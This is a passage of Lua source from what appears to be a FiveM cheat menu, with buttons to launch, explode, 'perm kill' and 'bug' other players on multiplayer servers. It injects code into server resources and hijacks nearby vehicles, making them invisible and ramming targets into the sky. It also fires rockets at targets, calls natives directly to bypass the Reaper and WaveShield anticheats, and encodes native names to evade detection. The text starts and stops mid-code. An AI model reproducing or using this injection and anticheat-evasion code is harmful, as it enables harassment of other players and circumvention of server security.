nearby vehicle and apply launch physics via injection VehicleInject(string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local CreateThread = _G.CreateThread or function(...) end local GetClosestVehicle = _G.GetClosestVehicle or function(...) end local GetVehiclePedIsIn = _G.GetVehiclePedIsIn or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local GetEntityModel = _G.GetEntityModel or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end local GetResourceState = _G.GetResourceState or function(...) end local TaskEnterVehicle = _G.TaskEnterVehicle or function(...) end local SetVehicleDoorsLocked = _G.SetVehicleDoorsLocked or function(...) end local SetEntityAlpha = _G.SetEntityAlpha or function(...) end local ResetEntityAlpha = _G.ResetEntityAlpha or function(...) end local SetEntityAsMissionEntity = _G.SetEntityAsMissionEntity or function(...) end local SetVehicleEngineOn = _G.SetVehicleEngineOn or function(...) end local SetVehicleHasBeenOwnedByPlayer = _G.SetVehicleHasBeenOwnedByPlayer or function(...) end local SetVehicleNeedsToBeHotwired = _G.SetVehicleNeedsToBeHotwired or function(...) end local SetEntityHasGravity = _G.SetEntityHasGravity or function(...) end local SetEntityCollision = _G.SetEntityCollision or function(...) end local SetEntityDynamic = _G.SetEntityDynamic or function(...) end local ActivatePhysics = _G.ActivatePhysics or function(...) end local FreezeEntityPosition = _G.FreezeEntityPosition or function(...) end local SetEntityCoords = _G.SetEntityCoords or function(...) end local SetEntityRotation = _G.SetEntityRotation or function(...) end local SetEntityVelocity = _G.SetEntityVelocity or function(...) end local NetworkRequestControlOfEntity = _G.NetworkRequestControlOfEntity or function(...) end local NetworkHasControlOfEntity = _G.NetworkHasControlOfEntity or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local SetPedIntoVehicle = _G.SetPedIntoVehicle or function(...) end local ClearPedTasks = _G.ClearPedTasks or function(...) end local GetEntityHeading = _G.GetEntityHeading or function(...) end local SetEntityHeading = _G.SetEntityHeading or function(...) end local GetGameTimer = _G.GetGameTimer or function() return 0 end local Wait = _G.Wait or function(...) end local ClearPedTasksImmediately = _G.ClearPedTasksImmediately or function(...) end local AttachEntityToEntity = _G.AttachEntityToEntity or function(...) end local DetachEntity = _G.DetachEntity or function(...) end local NetworkFadeOutEntity = _G.NetworkFadeOutEntity or function(...) end local NetworkFadeInEntity = _G.NetworkFadeInEntity or function(...) end local Citizen = _G.Citizen or {} local InvokeNative = Citizen.InvokeNative or function(...) end -- Native hash for NetworkRequestControlOfEntity (bypasses Reaper hook) local NETWORK_REQUEST_CONTROL_OF_ENTITY = 0xB69317BF5E782347 local function RequestControlDirect(entity) if not safeCall(DoesEntityExist, entity) then return false end if safeCall(NetworkHasControlOfEntity, entity) then return true end local attempts = 0 while not safeCall(NetworkHasControlOfEntity, entity) and attempts < 50 do safeCall(InvokeNative, NETWORK_REQUEST_CONTROL_OF_ENTITY, entity) safeCall(Wait, 0) attempts = attempts + 1 end return safeCall(NetworkHasControlOfEntity, entity) end safeCall(CreateThread, function() local targetPedHandle = %d local targetX, targetY, targetZ = %.2f, %.2f, %.2f local myPedHandle = safeCall(PlayerPedId) local myOrigCoords = safeCall(GetEntityCoords, myPedHandle) local myOrigX, myOrigY, myOrigZ = myOrigCoords.x, myOrigCoords.y, myOrigCoords.z local myOrigH = safeCall(GetEntityHeading, myPedHandle) -- ── Grab the closest vehicle near the target ────────────────────── local launchVeh = nil local searchRadii = {500.0, 300.0, 150.0, 100.0, 50.0, 25.0, 10.0} for i = 1, #searchRadii do local v = safeCall(GetClosestVehicle, targetX, targetY, targetZ, searchRadii[i], 0, 70) if v and v ~= 0 then launchVeh = v break end end -- fallback: vehicle the ped is currently in if not launchVeh or launchVeh == 0 then local inVeh = safeCall(GetVehiclePedIsIn, targetPedHandle, false) if inVeh and inVeh ~= 0 then launchVeh = inVeh end end if not launchVeh or launchVeh == 0 then return end -- ── Request control before tampering with the vehicle ─────────────── -- ── Warp in or Enter to harden network control ──────────────────── local isUnity = safeCall(GetResourceState, "seed") == "started" if isUnity then RequestControlDirect(launchVeh) safeCall(Wait, 400) local vehPos = safeCall(GetEntityCoords, launchVeh) safeCall(SetVehicleDoorsLocked, launchVeh, 1) safeCall(Wait, 400) safeCall(SetEntityCoords, myPedHandle, vehPos.x + 1.5, vehPos.y, vehPos.z + 1.0, false, false, false, false) safeCall(Wait, 400) safeCall(TaskEnterVehicle, myPedHandle, launchVeh, 10000, -1, 2.0, 1, 0) local attempts = 0 while safeCall(GetVehiclePedIsIn, myPedHandle, false) ~= launchVeh and attempts < 40 do safeCall(Wait, 100) attempts = attempts + 1 end else safeCall(SetPedIntoVehicle, myPedHandle, launchVeh, -1) safeCall(Wait, 1300) end RequestControlDirect(launchVeh) safeCall(Wait, 200) -- ── Make the vehicle invisible WHILE in the seat to force sync ── safeCall(SetEntityVisible, launchVeh, false, false) safeCall(SetEntityAlpha, launchVeh, 0, false) safeCall(NetworkFadeOutEntity, launchVeh, false, false) -- Eject and restore to our original position safeCall(ClearPedTasksImmediately, myPedHandle) safeCall(SetEntityCoords, myPedHandle, myOrigX, myOrigY, myOrigZ, false, false, false, false) safeCall(SetEntityHeading, myPedHandle, myOrigH) -- ── Physics setup ───────────────────────────────────────────────── safeCall(SetEntityAsMissionEntity, launchVeh, true, true) safeCall(SetVehicleEngineOn, launchVeh, true, true, false) safeCall(SetVehicleHasBeenOwnedByPlayer, launchVeh, true) safeCall(SetVehicleNeedsToBeHotwired, launchVeh, false) safeCall(SetEntityHasGravity, launchVeh, false) safeCall(SetEntityCollision, launchVeh, true, true) safeCall(SetEntityDynamic, launchVeh, true) -- Note: DO NOT freeze the vehicle! Freezing halts network transform/visibility broadcasts safeCall(ActivatePhysics, launchVeh) safeCall(SetEntityInvincible, launchVeh, true) -- ── Track the ped EVERY FRAME for 2500ms ───────────────────────── -- Wait(0) = runs each game frame. We follow them perfectly without velocity overshoot! local SetEntityCoordsNoOffset = _G.SetEntityCoordsNoOffset or safeCall(SetEntityCoords) local trackEnd = safeCall(GetGameTimer) + 2500 while safeCall(GetGameTimer) < trackEnd do if safeCall(DoesEntityExist, targetPedHandle) then local pedPos = safeCall(GetEntityCoords, targetPedHandle) if pedPos then -- Zero velocity prediction prevents "swinging wide" when they zig-zag local targetX = pedPos.x local targetY = pedPos.y local targetZ = pedPos.z - 1.2 safeCall(SetEntityCoordsNoOffset, launchVeh, targetX, targetY, targetZ, false, false, false) safeCall(SetEntityRotation, launchVeh, 0.0, 180.0, 0.0, 2) -- Constantly enforce invisibility so it natively overrides to all players safeCall(SetEntityVisible, launchVeh, false, false) safeCall(SetEntityAlpha, launchVeh, 0, false) end end safeCall(Wait, 0) end -- ── Restore gravity, then BLAST upward ────────────────── safeCall(SetEntityHasGravity, launchVeh, true) safeCall(SetEntityHasGravity, launchVeh, true) safeCall(Wait, 50) if safeCall(DoesEntityExist, launchVeh) then safeCall(SetEntityVelocity, launchVeh, 0.0, 0.0, 150.0) end -- ── Restore visibility after player is airborne then clean up ───── safeCall(Wait, 3500) if safeCall(DoesEntityExist, launchVeh) then safeCall(SetEntityVisible, launchVeh, true, false) safeCall(ResetEntityAlpha, launchVeh) safeCall(NetworkFadeInEntity, launchVeh, false, false) safeCall(FreezeEntityPosition, launchVeh, false) safeCall(SetEntityVelocity, launchVeh, 0.0, 0.0, 0.0) end end) ]], targetPed, targetCoords.x, targetCoords.y, targetCoords.z)) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "launched " .. player.name .. " into the sky!", type = 'success' })) end end break end end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No player selected for launch V2!", type = 'warn' })) end end end }, { label = 'Explode Player', type = 'button', canBind = true, bindName = 'Explode Player', onConfirm = function() if selectedPlayerId then for _, player in ipairs(playerList) do if player.id == selectedPlayerId then local targetPed = GetPlayerPed(player.localId) if DoesEntityExist(targetPed) then local coords = GetEntityCoords(targetPed) ---("Exploding player with RPG:", player.name) -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("asdadsasdasd") == "started" if waveShieldRunning then -- Direct execution for WaveShield (no injection needed) local function safeCall(fn, ...) if fn then return fn(...) end end local PlayerPedId = _G.PlayerPedId or function(...) end local GetHashKey = _G.GetHashKey or function(...) end local ShootSingleBulletBetweenCoords = _G.ShootSingleBulletBetweenCoords or function(...) end local targetCoords = coords local playerPed = safeCall(PlayerPedId) local rpg2Hash = safeCall(GetHashKey, "weapon_vehicle_rocket") local shootFromCoords = vector3(targetCoords.x, targetCoords.y, targetCoords.z + 50.0) safeCall(ShootSingleBulletBetweenCoords, shootFromCoords.x, shootFromCoords.y, shootFromCoords.z, targetCoords.x, targetCoords.y, targetCoords.z, 500, true, rpg2Hash, playerPed, true, false, 1000.0 ) else -- Use Macho injection when WaveShield is not running VehicleInject(string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local PlayerPedId = _G.PlayerPedId or function(...) end local GetHashKey = _G.GetHashKey or function(...) end local ShootSingleBulletBetweenCoords = _G.ShootSingleBulletBetweenCoords or function(...) end local targetCoords = vector3(%f, %f, %f) local playerPed = safeCall(PlayerPedId) local rpg2Hash = safeCall(GetHashKey, "weapon_vehicle_rocket") -- Shoot RPG2 bullet at target location from slightly above local shootFromCoords = vector3(targetCoords.x, targetCoords.y, targetCoords.z + 50.0) safeCall(ShootSingleBulletBetweenCoords, shootFromCoords.x, shootFromCoords.y, shootFromCoords.z, targetCoords.x, targetCoords.y, targetCoords.z, 500, true, rpg2Hash, playerPed, true, false, 1000.0 ) ]], coords.x, coords.y, coords.z)) end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "RPG exploded player: " .. player.name, type = 'success' })) end end break end end else ---("No player selected for exploding!") if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No player selected!", type = 'warn' })) end end end }, { label = 'Perm Kill', type = 'button', canBind = true, bindName = 'Perm Kill Player', onConfirm = function() if selectedPlayerId then for _, player in ipairs(playerList) do if player.id == selectedPlayerId then local selfPed = PlayerPedId() local targetPed = GetPlayerPed(player.localId) if DoesEntityExist(targetPed) then local coords = GetEntityCoords(targetPed) if coords then ---("Perm Kill activated for player:", player.name) -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("adsasddsa") == "started" if waveShieldRunning then -- Direct execution for WaveShield (no injection needed) local playerPed = PlayerPedId() local targetCoords = coords local weaponHash = 849905853 Citizen.InvokeNative( 0x867654CBC7606F2C, targetCoords + vector3(0.0, 0.1, 0.0), targetCoords, 250, true, weaponHash, playerPed, true, false, 350.0 ) else -- Use Macho injection when WaveShield is not running SafeInjectResourceRaw(InjectionResource(), string.format([[ -- Exact freecam obfuscation system local function decode(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local function g(n) return _G[decode(n)] end -- Exact encoded natives from freecam local enc_natives = { fn_g3 = {71,101,116,72,97,115,104,75,101,121}, -- GetHashKey fn_d3 = {83,104,111,111,116,83,105,110,103,108,101,66,117,108,108,101,116,66,101,116,119,101,101,110,67,111,111,114,100,115}, -- ShootSingleBulletBetweenCoords fn_e1 = {80,108,97,121,101,114,80,101,100,73,100} -- PlayerPedId } local function executePermKillWithWeapon() local playerPed = g(enc_natives.fn_e1)() local targetCoords = vector3(%f, %f, %f) -- Use exact original perm kill weapon hash local weaponHash = 849905853 -- Use original perm kill method with obfuscated invoke Citizen.InvokeNative( 0x867654CBC7606F2C, targetCoords + vector3(0.0, 0.1, 0.0), targetCoords, 250, true, weaponHash, playerPed, true, false, 350.0 ) end executePermKillWithWeapon() ]], coords.x, coords.y, coords.z)) end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Enhanced perm kill executed on " .. player.name, type = 'success' })) end end end break end end else ---("No player selected for perm kill!") if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No player selected!", type = 'warn' })) end end end }, { label = 'Bug Player', type = 'scroll', selected = 1, canBind = true, bindName = 'Bug Player', options = { {label = 'Bug Player 1'}, {label = 'Bug Player 2'} }, onConfirm = function(selectedOption) if selectedOption.label == 'Bug Player 1' then local function safeCall(fn, ...) if fn then return fn(...) end end local PlayerPedId = _G.PlayerPedId or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local GetPlayerPed = _G.GetPlayerPed or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end local SetEntityCoordsNoOffset = _G.SetEntityCoordsNoOffset or function(...) end if not selectedPlayerId then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No player selected!", type = 'warn' })) end return end -- Optimized player lookup local targetPlayer = nil for _, player in ipairs(playerList) do if player.id == selectedPlayerId then targetPlayer = player break end end if not targetPlayer then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Target player not found!", type = 'error' })) end return end local targetPed = safeCall(GetPlayerPed, targetPlayer.localId) if not safeCall(DoesEntityExist, targetPed) then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Target player is not valid!", type = 'error' })) end return end local myPed = safeCall(PlayerPedId) local myCoords = safeCall(GetEntityCoords, myPed) local targetCoords = safeCall(GetEntityCoords, targetPed) local distance = #(myCoords - targetCoords) local myOriginalCoords = myCoords local teleported = false -- Optimized teleportation logic if distance > 8.0 then local angle = math.random() * 2 * math.pi local radius = math.random(3, 6) -- Reduced radius for faster execution local xOffset = math.cos(angle) * radius local yOffset = math.sin(angle) * radius local newCoords = vector3(targetCoords.x + xOffset, targetCoords.y + yOffset, targetCoords.z) safeCall(SetEntityCoordsNoOffset, myPed, newCoords.x, newCoords.y, newCoords.z, false, false, false) safeCall(SetEntityVisible, myPed, false, 0) teleported = true Citizen.Wait(50) -- Reduced wait time end -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("adsuisajduasjdasuidjsauidjiuoj") == "started" SetPedConfigFlag(PlayerPedId(), 342, false) SetPedConfigFlag(PlayerPedId(), 252, true) SetPedConfigFlag(PlayerPedId(), 141, true) SetPedConfigFlag(PlayerPedId(), 144, true) if not waveShieldRunning then -- Use Macho injection when WaveShield is not running VehicleInject(string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local PlayerPedId = _G.PlayerPedId or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local ClearPedTasksImmediately = _G.ClearPedTasksImmediately or function(...) end local SetEntityCoords = _G.SetEntityCoords or function(...) end local AttachEntityToEntityPhysically = _G.AttachEntityToEntityPhysically or function(...) end local DetachEntity = _G.DetachEntity or function(...) end local GetPlayerPed = _G.GetPlayerPed or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local CreateThread = _G.CreateThread or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end local Wait = _G.Wait or function(...) end -- Prevent multiple instances if ZxMnBvCqWrTyUi == nil then ZxMnBvCqWrTyUi = false end if ZxMnBvCqWrTyUi then return end ZxMnBvCqWrTyUi = true local myTrueOriginalCoords = vector3(%f, %f, %f) local targetPlayerId = %d local isActive = true local maxIterations = 12 local iterationCount = 0 safeCall(CreateThread, function() if not isActive or not ZxMnBvCqWrTyUi then return end local selfPed = safeCall(PlayerPedId) local targetPed = safeCall(GetPlayerPed, targetPlayerId) -- Enhanced validation if not targetPed or not safeCall(DoesEntityExist, targetPed) or targetPed == selfPed then isActive = false ZxMnBvCqWrTyUi = false return end local targetCoords = safeCall(GetEntityCoords, targetPed) if not targetCoords or targetCoords.z < -1000.0 or targetCoords.z > 2000.0 then isActive = false ZxMnBvCqWrTyUi = false return end -- Optimized launch sequence with better timing while isActive and ZxMnBvCqWrTyUi and iterationCount < maxIterations do iterationCount = iterationCount + 1 selfPed = safeCall(PlayerPedId) -- Quick validation check if not safeCall(DoesEntityExist, targetPed) then break end local currentTargetCoords = safeCall(GetEntityCoords, targetPed) -- Enhanced coordinate validation if currentTargetCoords and currentTargetCoords.z > -1000.0 and currentTargetCoords.z < 2000.0 then safeCall(ClearPedTasksImmediately, selfPed) safeCall(SetEntityCoords, selfPed, currentTargetCoords.x, currentTargetCoords.y, currentTargetCoords.z, false, false, false, true) safeCall(Wait, 25) -- Optimized attachment with better parameters safeCall(AttachEntityToEntityPhysically, selfPed, targetPed, 0, 0.0, 0.0, 0.0, 200.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1, false, false, 1, 2 ) safeCall(Wait, 25) safeCall(DetachEntity, selfPed, true, true) else break end end -- Optimized restoration sequence safeCall(Wait, 200) selfPed = safeCall(PlayerPedId) safeCall(ClearPedTasksImmediately, selfPed) -- Enhanced coordinate restoration with validation if myTrueOriginalCoords and myTrueOriginalCoords.z > -1000.0 and myTrueOriginalCoords.z < 2000.0 then safeCall(SetEntityCoords, selfPed, myTrueOriginalCoords.x, myTrueOriginalCoords.y, myTrueOriginalCoords.z + 0.5, false, false, false, true) safeCall(Wait, 50) safeCall(SetEntityCoords, selfPed, myTrueOriginalCoords.x, myTrueOriginalCoords.y, myTrueOriginalCoords.z, false, false, false, true) end -- Restore visibility safeCall(SetEntityVisible, selfPed, true, 0) isActive = false ZxMnBvCqWrTyUi = false end) ]], myOriginalCoords.x, myOriginalCoords.y, myOriginalCoords.z, targetPlayer.localId)) else -- Direct execution for WaveShield (no injection needed) local function safeCallWave(fn, ...) if fn then return fn(...) end end local PlayerPedId = _G.PlayerPedId or function(...) end local GetPlayerPed = _G.GetPlayerPed or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local SetEntityCoordsNoOffset = _G.SetEntityCoordsNoOffset or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end local Wait = _G.Wait or function(...) end local CreateThread = _G.CreateThread or function(...) end local ClearPedTasksImmediately = _G.ClearPedTasksImmediately or function(...) end local SetEntityCoords = _G.SetEntityCoords or function(...) end local AttachEntityToEntityPhysically = _G.AttachEntityToEntityPhysically or function(...) end local DetachEntity = _G.DetachEntity or function(...) end local myPed = safeCallWave(PlayerPedId) local targetPed = safeCallWave(GetPlayerPed, targetPlayer.localId) if safeCallWave(DoesEntityExist, targetPed) then local myOriginalCoords = safeCallWave(GetEntityCoords, myPed) local targetCoords = safeCallWave(GetEntityCoords, targetPed) local distance = #(myOriginalCoords - targetCoords) if distance > 8.0 then local angle = math.random() * 2 * math.pi local radius = math.random(3, 6) local xOffset = math.cos(angle) * radius local yOffset = math.sin(angle) * radius local newCoords = vector3(targetCoords.x + xOffset, targetCoords.y + yOffset, targetCoords.z) safeCallWave(SetEntityCoordsNoOffset, myPed, newCoords.x, newCoords.y, newCoords.z, false, false, false) safeCallWave(SetEntityVisible, myPed, false, 0) safeCallWave(Wait, 50) end safeCallWave(CreateThread, function() local maxIterations = 12 for i = 1, maxIterations do local currentTargetCoords = safeCallWave(GetEntityCoords, targetPed) if currentTargetCoords then safeCallWave(ClearPedTasksImmediately, myPed) safeCallWave(SetEntityCoords, myPed, currentTargetCoords.x, currentTargetCoords.y, currentTargetCoords.z, false, false, false, true) safeCallWave(Wait, 25) safeCallWave(AttachEntityToEntityPhysically, myPed, targetPed, 0, 0.0, 0.0, 0.0, 200.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1, false, false, 1, 2) safeCallWave(Wait, 25) safeCallWave(DetachEntity, myPed, true, true) end end safeCallWave(Wait, 200) safeCallWave(ClearPedTasksImmediately, myPed) safeCallWave(SetEntityCoords, myPed, myOriginalCoords.x, myOriginalCoords.y, myOriginalCoords.z, false, false, false, true) safeCallWave(SetEntityVisible, myPed, true, 0) end) end end -- Optimized notification if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Launched " .. targetPlayer.name .. " to the sky!", type = 'success' })) end -- Optimized restoration if teleported then Citizen.Wait(500) -- Reduced wait time safeCall(SetEntityVisible, myPed, true, 0) end elseif selectedOption.label == 'Bug Player 2' then if not selectedPlayerId then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No player selected!", type = 'warn' })) end return end -- Find target player local targetPlayer = nil for _, player in ipairs(playerList) do if player.id == selectedPlayerId then targetPlayer = player break end end if not targetPlayer then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Target player not found!", type = 'error' })) end return end -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("asdsadsadadadad") == "started" if waveShieldRunning then -- Direct execution for WaveShield (no injection needed) local function safeCall(fn, ...) if fn then return fn(...) end end local GetPlayerPed = _G.GetPlayerPed or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local GetEntityHeading = _G.GetEntityHeading or function(...) end local GetClosestVehicle = _G.GetClosestVehicle or function(...) end local GetVehiclePedIsIn = _G.GetVehiclePedIsIn or function(...) end local NetworkRequestControlOfEntity = _G.NetworkRequestControlOfEntity or function(...) end local Wait = _G.Wait or function(...) end local SetPedIntoVehicle = _G.SetPedIntoVehicle or function(...) end local ClearPedTasks = _G.ClearPedTasks or function(...) end local CreateThread = _G.CreateThread or function(...) end local GetGameTimer = _G.GetGameTimer or function(...) end local AttachEntityToEntityPhysically = _G.AttachEntityToEntityPhysically or function(...) end local SetEntityCoords = _G.SetEntityCoords or function(...) end local SetEntityHeading = _G.SetEntityHeading or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end local SetEntityAlpha = _G.SetEntityAlpha or function(...) end local ResetEntityAlpha = _G.ResetEntityAlpha or function(...) end local targetPed = safeCall(GetPlayerPed, targetPlayer.localId) local myPed = safeCall(PlayerPedId) local targetCoords = safeCall(GetEntityCoords, targetPed) local originalCoords = safeCall(GetEntityCoords, myPed) local originalHeading = safeCall(GetEntityHeading, myPed) local bugVehicle = safeCall(GetClosestVehicle, targetCoords.x, targetCoords.y, targetCoords.z, 500.0, 0, 70) if not bugVehicle or bugVehicle == 0 then local playerVehicle = safeCall(GetVehiclePedIsIn, targetPed, false) if playerVehicle and playerVehicle ~= 0 then bugVehicle = playerVehicle else return end end -- First warp into driver seat, then request control after a delay safeCall(SetPedIntoVehicle, myPed, bugVehicle, -1) safeCall(Wait, 1000) -- Use direct native call to bypass Reaper detection safeCall(NetworkRequestControlOfEntity, bugVehicle) safeCall(Wait, 200) safeCall(ClearPedTasks, myPed) safeCall(CreateThread, function() local startTime = safeCall(GetGameTimer) local duration = 3000 while safeCall(GetGameTimer) - startTime < duration do safeCall(AttachEntityToEntityPhysically, bugVehicle, targetPed, 99999999999999999999999999, 999999999999999999999990, 99999999999999999999990, 2226999999994.58, 1429999999999236.928, 800999999999990.0, 199999999999999999980.0, 8889099998.0, 999999999999999999999999999999999999999.0, true, true, true, true, 0) safeCall(Wait, 0) end safeCall(SetEntityCoords, myPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, true) safeCall(SetEntityHeading, myPed, originalHeading) safeCall(SetEntityVisible, myPed, true, 0) safeCall(SetEntityAlpha, myPed, 255, 0) safeCall(ResetEntityAlpha, myPed) end) else -- Use Macho injection when WaveShield is not running VehicleInject(string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local GetPlayerPed = _G.GetPlayerPed or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local GetClosestVehicle = _G.GetClosestVehicle or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local SetPedIntoVehicle = _G.SetPedIntoVehicle or function(...) end local ClearPedTasks = _G.ClearPedTasks or function(...) end local NetworkRequestControlOfEntity = _G.NetworkRequestControlOfEntity or function(...) end local GetGameTimer = _G.GetGameTimer or function(...) end local Wait = _G.Wait or function(...) end local AttachEntityToEntityPhysically = _G.AttachEntityToEntityPhysically or function(...) end local CreateThread = _G.CreateThread or function(...) end local GetVehiclePedIsIn = _G.GetVehiclePedIsIn or function(...) end local GetEntityHeading = _G.GetEntityHeading or function(...) end local SetEntityCoords = _G.SetEntityCoords or function(...) end local SetEntityHeading = _G.SetEntityHeading or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end local SetEntityAlpha = _G.SetEntityAlpha or function(...) end local ResetEntityAlpha = _G.ResetEntityAlpha or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local NetworkHasControlOfEntity = _G.NetworkHasControlOfEntity or function(...) end local Citizen = _G.Citizen or {} local InvokeNative = Citizen.InvokeNative or function(...) end -- Native hash for NetworkRequestControlOfEntity (bypasses Reaper hook) local NETWORK_REQUEST_CONTROL_OF_ENTITY = 0xB69317BF5E782347 local function RequestControlDirect(entity) if not safeCall(DoesEntityExist, entity) then return false end -- Check if we already have control if safeCall(NetworkHasControlOfEntity, entity) then return true end -- Call native directly to bypass Reaper hook local attempts = 0 while not safeCall(NetworkHasControlOfEntity, entity) and attempts < 50 do safeCall(InvokeNative, NETWORK_REQUEST_CONTROL_OF_ENTITY, entity) safeCall(Wait, 0) attempts = attempts + 1 end return safeCall(NetworkHasControlOfEntity, entity) end local targetPlayerId = %d local targetPed = safeCall(GetPlayerPed, targetPlayerId) local targetCoords = safeCall(GetEntityCoords, targetPed) local myPed = safeCall(PlayerPedId) -- Store original position and heading local originalCoords = safeCall(GetEntityCoords, myPed) local originalHeading = safeCall(GetEntityHeading, myPed) -- Enhanced vehicle detection with multiple attempts local bugVehicle = nil local searchRadius = {500.0, 300.0, 150.0, 100.0, 50.0, 25.0, 10.0} for i = 1, #searchRadius do bugVehicle = safeCall(GetClosestVehicle, targetCoords.x, targetCoords.y, targetCoords.z, searchRadius[i], 0, 70) if bugVehicle and bugVehicle ~= 0 then break end end -- If still no vehicle, try alternative method if not bugVehicle or bugVehicle == 0 then local playerVehicle = safeCall(GetVehiclePedIsIn, targetPed, false) if playerVehicle and playerVehicle ~= 0 then bugVehicle = playerVehicle else return end end -- First warp into driver seat, then request control after a delay safeCall(SetPedIntoVehicle, myPed, bugVehicle, -1) safeCall(Wait, 1000) -- Use direct native call to bypass Reaper detection RequestControlDirect(bugVehicle) safeCall(Wait, 200) safeCall(ClearPedTasks, myPed) safeCall(CreateThread, function() local startTime = safeCall(GetGameTimer) local duration = 3000 while safeCall(GetGameTimer) - startTime < duration do safeCall(AttachEntityToEntityPhysically, bugVehicle, targetPed, 99999999999999999999999999, 999999999999999999999990, 99999999999999999999990, 2226999999994.58, 1429999999999236.928, 800999999999990.0, 199999999999999999980.0, 8889099998.0, 999999999999999999999999999999999999999.0, true, true, true, true, 0 ) safeCall(Wait, 0) end -- Restore me to original location after bugging is complete safeCall(SetEntityCoords, myPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, true) safeCall(SetEntityHeading, myPed, originalHeading) -- Make me visible again safeCall(SetEntityVisible, myPed, true, 0) safeCall(SetEntityAlpha, myPed, 255, 0) safeCall(ResetEntityAlpha, myPed) end) ]], targetPlayer.localId)) end -- Notification if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Vehicle bug applied to " .. targetPlayer.name .. "!", type = 'success' })) end end end }, { label = 'Attach Nearby Vehicle to Player', type = 'button', canBind = true, bindName = 'Attach Vehicle', onConfirm = function() if not selectedPlayerId then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No player selected!", type = 'warn' })) end return end -- Find target player local targetPlayer = nil for _, player in ipairs(playerList) do if player.id == selectedPlayerId then targetPlayer = player break end end if not targetPlayer then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Target player not found!", type = 'error' })) end return end -- Safety check for targetPlayer.localId if not targetPlayer.localId then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Invalid target player ID!", type = 'error' })) end return end -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("asdadadadada") == "started" if waveShieldRunning then -- Direct execution for WaveShield (no injection needed) local function safeCall(fn, ...) if fn then return fn(...) end end local GetPlayerPed = _G.GetPlayerPed or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local GetClosestVehicle = _G.GetClosestVehicle or function(...) end local GetVehiclePedIsIn = _G.GetVehiclePedIsIn or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local NetworkRequestControlOfEntity = _G.NetworkRequestControlOfEntity or function(...) end local Wait = _G.Wait or function(...) end local SetPedIntoVehicle = _G.SetPedIntoVehicle or function(...) end local ClearPedTasks = _G.ClearPedTasks or function(...) end local GetPedBoneIndex = _G.GetPedBoneIndex or function(...) end local AttachEntityToEntity = _G.AttachEntityToEntity or function(...) end local SetEntityCollision = _G.SetEntityCollision or function(...) end local SetEntityAsMissionEntity = _G.SetEntityAsMissionEntity or function(...) end local SetEntityCoords = _G.SetEntityCoords or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end local targetPed = safeCall(GetPlayerPed, targetPlayer.localId) if safeCall(DoesEntityExist, targetPed) then local targetCoords = safeCall(GetEntityCoords, targetPed) local nearbyVehicle = safeCall(GetClosestVehicle, targetCoords.x, targetCoords.y, targetCoords.z, 500.0, 0, 70) if not nearbyVehicle or nearbyVehicle == 0 then nearbyVehicle = safeCall(GetVehiclePedIsIn, targetPed, false) end if nearbyVehicle and nearbyVehicle ~= 0 and safeCall(DoesEntityExist, nearbyVehicle) then local myPed = safeCall(PlayerPedId) local myOriginalCoords = safeCall(GetEntityCoords, myPed) safeCall(NetworkRequestControlOfEntity, nearbyVehicle) safeCall(Wait, 100) safeCall(SetPedIntoVehicle, myPed, nearbyVehicle, -1) safeCall(Wait, 200) safeCall(ClearPedTasks, myPed) local boneIndex = safeCall(GetPedBoneIndex, targetPed, 24816) safeCall(AttachEntityToEntity, 